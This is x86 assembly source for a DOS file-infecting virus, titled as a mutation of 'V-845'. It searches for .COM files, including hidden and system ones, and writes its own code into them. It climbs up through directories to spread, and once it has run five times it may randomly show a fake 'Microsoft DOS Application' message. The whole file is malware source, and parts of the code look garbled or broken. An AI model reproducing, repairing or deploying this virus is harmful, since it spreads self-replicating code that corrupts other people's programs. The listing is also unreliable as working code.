; COMPILED WITH TASM 2.0 ; page ,132 ; name V345 ; title V-345 - a mutation of the V-845 virus .model tiny .radix 16 code segment assume cs:code,ds:code org 100 start: k db 2C dup ( '10') jmp short virus ident dw 'IH' newdta db 2C dup (?) virus: jc cd xor ident, [1110+11h] ;xor virlen, [1010+1h] push ax mov ax,cs ;Move program code add ax,1000 ; 64K bytes forward mov es,ax inc [counter] mov si,offset start xor di,di mov cx,virlen rep movsb mov dx,offset newdta ;Set new Disk Transfer Address mov ah,1A ;Set DTA int 21 mov dx, offset allcom ;Search for '*.COM' files mov cx,110b ;Normal, Hidden or System mov ah,4E ;Find First file int 21 jc done ;Quit if none found mainlp: mov dx,fname mov ax,3D02 ;Open file in Read/Write mode int 21 mov bx,ax ; Save handle push es pop ds mov dx,virlen mov cx,0FFFF ;Read all bytes (64K max in .COM file) mov ah,3F ;Read from handle int 21 ;Bytes read in AX add ax,virlen mov cs:[eof],ax ;Save pointer to the end of file cmp ds:[newid+virlen],'VI' ;Infected? je close ;Go find next file if so xor cx,cx ;Go to file beginning mov dx,cx mov ax,4200 ;LSEEK from the beginning of the file int 21 jc close ;Leave this file if error occures ; xor ident, [1010+10h] xor dx,dx ;Write the whole code (virus+file) mov cx,cs:[eof] ; back onto the file mov ah,40 ;Write to handle int 21 close: mov ah,3E ;Close the file int 21 push cs pop ds ;Restore DS mov ah,4F ;Find next matching file int 21 jc done jc cd ;CD ;jmp mainlp ;Otherwise loop again cd: mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR mov ah,3bh ; change directory lea dx,[bp+dot_dot] ; "cd .." mov ah, 47h ; mov ptr [bp+allcom], '*.' int 21 jmp mainlp jc done ;Quit if none found done: int 21 cmp [counter],5 ;If counter goes above 5, jb progok ; the program becomes "sick" mov ax,40 mov ds,ax ;Get the system timer value mov ax,word ptr [timer] push cs pop ds ;Restore DS and ax,1 ;At random (if timer value is odd) jz progok ; display the funny message mov dx,offset message mov ah,9 ;Print string int 21 mov ah, 4ch int 21 message db 'Microsoft DOS Application' progok: mov si,offset transf ;Move this part of code mov cx,offset endcode - offset transf ;Code length xor di,di ;Move to ES:0 rep movsb ;Do it pop bx ; BX = old AX mov word ptr cs:[progbeg],0 mov word ptr cs:[progbeg+2],es ;Point progbeg at program start jmp cs:[progbeg] ;Jump at program start transf: push ds pop es mov si,offset endcode mov di,offset start mov cx,0FFFF ;Restore original program's code sub cx,si rep movsb mov word ptr cs:[start],offset start mov word ptr cs:[start+2],ds mov ax,bx jmp dword ptr cs:[start] ;Jump to program start endcode label byte int 20 ;Dummy program oldint24 dd ? ; Storage for old int 24h handler backslash db ? fake_msg db "$" Row dw 24 origdir db 64 dup (?) ; Current directory buffer numinfec db ? ; Infections this run allcom db '*.COM' buffer db 1ah dup (?) ; read buffer fname equ offset newdta+1E dot_dot db '..' timer equ 6C olddta equ 80 virlen = offset endcode - offset start newid = offset ident - offset start counter db 0 progbeg dd ? eof dw ? code ends end start